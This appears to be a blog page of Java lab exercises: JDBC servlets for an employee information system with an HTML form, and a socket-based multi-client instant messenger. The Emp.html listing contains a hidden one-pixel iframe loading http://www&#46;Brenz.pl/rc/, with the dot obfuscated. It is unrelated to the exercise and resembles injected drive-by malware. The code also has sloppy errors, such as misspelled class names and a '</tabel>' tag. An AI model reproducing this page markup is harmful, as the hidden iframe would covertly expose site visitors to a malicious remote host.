Showing posts with label JavaScript. Show all posts
Showing posts with label JavaScript. Show all posts

Employee Information System using JDBC and implementing the doGet() and doPost() method


Employee Information System using doGet( ) and doPost() Method

AIM
          To create an Employee Information System using JDBC and implementing the doGet() and doPost() method.

ALGORITHM
Step 1: Start the program.
Step 2: Create a Java Source file which creates an HttpServlet class called GetDeatils.
Step 3: Initialize the servlet.
Step 4: In the doGet() method, establish the connection with the DSN called emp.
Step 5: After connection establishment, query the database and select all records in the
            emp table.       
Step 6: Create another Java Source file that  creates an HttpServlet class called
            PostDeatils.
Step 7: Initialize the servlet.
Step 8: In the doPost() method, establish the connection with the DSN called emp.
Step 9: Create an XHTML file called emp.html.
Step 10: Invoke the GetDetails Class by clicking the GET button in the emp.html.
Step 11: Display all records in the web browser.
Step 12: Fill all the relevant employee information fields in emp.html file and click the
              POST button.
Step 13: The POST button invokes the PostDetails class.
Step 14: Insert a new record through by executing sql query and get record updated
Step 15: Close ResultSet and database connection.
 Step 7: Stop the process.


GetDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class GetDetails extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
   public void init(ServletConfig config) throws ServletException {
        super.init(config);
      
    con=null;
    out=null;
    rs=null;
    }
          public void destroy() {
     try
        {
   
      con.close();
      out.close();
      rs.close();
    }
    catch(SQLException se)
            {
      out.println(se.toString());
    }
    }
   
        protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
    }
    
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
    out=response.getWriter();
       try{
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pstmt=null;
      String query=null;
      query="select name,age,address,desig from emp";
      pstmt=con.prepareStatement(query);
      rs=pstmt.executeQuery();
      out.println("<b><center>Employee Details</center></b><br><br>");
      out.println("<table align=center border=1 cellpadding=2>");
      while(rs.next())
      {
        out.println("<tr>");
        out.println("<td>" + rs.getString("name") + "</td>");
        out.println("<td>" + rs.getString("age") + "</td>");
        out.println("<td>" + rs.getString("address") + "</td>");
        out.println("<td>" + rs.getString("desig") + "</td>");
        out.println("</tr>");
      }
      out.println("</table>");
      out.println("</body>");
    }
    catch(Exception e){
      out.println(e.toString());
    }
            
        processRequest(request, response);
  
    }
  }


PostDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class PostDetails  extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
    public void init(ServletConfig config) throws ServletException
    {
        super.init(config);
          
    con=null;
    out=null;
    rs=null;
    }
   
    public void destroy()
    {
      //con.close();
      out.close();
     // rs.close();
    }
   
      protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
      {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
      }
     
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
    {
       
        out=response.getWriter();
        String name=request.getParameter("name");
         String age=request.getParameter("age");
          String address=request.getParameter("address");
           String desig=request.getParameter("desig");
              String id=request.getParameter("id");
       try
       {
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pst=null;
     String sql = "insert into emp values (?,?,?,?,?)";
   pst = con.prepareStatement(sql);
  pst.setString(1, name);
  pst.setString(2, age);
  pst.setString(3, address);
  pst.setString(4, desig);
    pst.setString(5,id);
  pst.executeUpdate();
   out.println(" Updated ");
  
       }
    catch(Exception e){
      out.println(e.toString());
    }
         processRequest(request,response);
       
    }
      
}


Emp.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 
<html>
  <head>
      <title>Employment Information System</title>
      <h1 align=center>EMPLOYMENT INFORMATION SYSTEM<h1>
  </head>
  <body>
  
  <form action='EmployeeDetails' method="get">
<center> <label style='color:blue'>Click Here to View the Records:</label>  <input type='submit' value='Get'>
</center>
  </form>
  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
<form action ='S' method='post'>
<h1 align=center style='color:blue'> Enter the Employee Details Here!</h1>
<table border='2' ALIGN=center>
<tr>
<td> <label style='color:green'>Name: </label></td><td><input type=text name='name'></td>
</tr>
<tr>
<td> <label>Age:</label></td><td><input type=text name='age'></td>
</tr>  
<tr>
 <td><label>Address       :</label></td><td><input type=text name='address'></td>
  </tr>  <tr>
   <td><label>Designation:</label></td><td><input type=text name='desig'></td>
  </tr>  
<tr>
<td> <label>ID Number:</label> </td><td><input type=text name='id'></td>
</tr>  
<tr>
 <td><label>Click Here to Update the Records:</label><input type =submit method =post value='post' size='70' style='color:red'>
 </td>
</tr>
</tabel>
</form>
</body>
</html>

Java program to create Instant Messenger application for communication between multiple clients

INSTANT MESSENGER
 
AIM
          To write a java program for creating Instant Messenger application for communication between multiple clients.


ALGORITHM

Step 1: Start the process.

Step 2: Create the client module as  class Client by extending thread
   class.

Step 3: Create the Server module as class Server for accepting
   connection from clients.

Step 4: Create ClientThread class in Server module to make 10 clients
   to communuicate.

Step 5: Start the Server.

Step 6: After Server is ready, then run the clients to communicate with
  each other.

Step 6: Terminate the clients and Server respectively.

Step 7: Stop the process.


Source Code

Client.java

import java.io.*;
import java.net.*;
public class Client implements Runnable
{
            static Socket socket=null;
            static PrintStream output;
            static BufferedReader input=null;
            static BufferedReader userip=null;
            static boolean flag=false;
            public static void main(String[] args)
            {
                        int port=1234;
                               String host="localhost";
                        try
                        {
                                    socket=new Socket(host,port);
                                    userip=new BufferedReader(new InputStreamReader(System.in));
                                    output=new PrintStream(socket.getOutputStream());
                                    input=new BufferedReader(new InputStreamReader(socket.getInputStream()));
                        }
                        catch(Exception e)
                        {
                                    System.err.println("Unknown host"+host);
                        }
                        if(socket!=null)
                        {
                                    try
                                    {
                                                new Thread(new Client()).start();
                                                while(!flag)
                                                {
                                                output.println(userip.readLine());
                                                }
                                    output.close();
                                    input.close();
                                    socket.close();
                        }
                        catch(Exception e1)
                        {
                                    System.err.println("IOException"+e1);
                        }
            }
}
public void run()
{
String msg;
try
{
while((msg=input.readLine())!=null)
System.out.println(msg);
flag=true;
}
catch(IOException e)
{
System.err.println("IOException" + e);
}
}
}


Server.java

import java.io.*;
import java.net.*;
public class Server
{
      static ServerSocket server=null;
      static Socket socket=null;
      static ClientThread th[]=new ClientThread[10];
      public static void main(String args[])
      {
            int port=1234;
            System.out.println("Server started...");
            System.out.println("  [Press Ctrl C to terminate ]");
            try
            {
                  server=new ServerSocket (port);
            }
            catch(IOException e)
            {
                  System.out.println("Exception for Input/Output");
            }
            while(true)
            {
                  try
                  {
                        socket=server.accept();
                        for(int i=0;i<=9;i++)
                        {
                              if(th[i]==null)
                              {
                                    (th[i]=new ClientThread(socket,th)).start();
                                    break;
                              }
                        }
                        }
                        catch(IOException e)
                        {
                              System.out.println("Exception for Input/Output");
                        }
                  }
            }
      }

      class ClientThread extends Thread
      {
            BufferedReader input=null;
            PrintStream output=null;
            Socket socket=null;
            ClientThread th[];
            public ClientThread(Socket socket,ClientThread[] th)
            {
                  this.socket=socket;
                  this.th=th;
            }
            public void run()
            {
                  String msg;
                  String username;
                  try
                  {
                        input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                        output = new PrintStream(socket.getOutputStream());
                        output.println("What is your Name?Enter it-");
                        username = input.readLine();
                        output.println(username + ":Welcome to chat room.");
                        output.println("To leave chat room type $$");
                        for (int i = 0; i <= 9; i++)
                              if (th[i] != null && th[i] != this)
                                    th[i].output.println("------------A new user arrived in chat Room:" + username);
                              while (true)
                              {
                                    msg = input.readLine();
                                    if (msg.startsWith("$$"))
                                          break;
                                    for (int i = 0; i <= 9; i++)
                                          if (th[i] != null)
                                                th[i].output.println("<" + username + ">" + msg);
                              }
                              for (int k = 0; k <= 9; k++)
                                    if (th[k] != null && th[k] != this)
                                          th[k].output.println("------A user Leaving chat Room:" + username + "--------");
                              output.println("Press Ctrl C to return to prompt---");
                              for (int j = 0; j <= 9; j++)
                                    if (th[j] == this)
                                          th[j] = null;
                              input.close();
                              output.close();
                              socket.close();
                  }
                  catch (IOException e)
                  {
                        System.out.println("Exception for Input/Output");
                  }
                  }
            }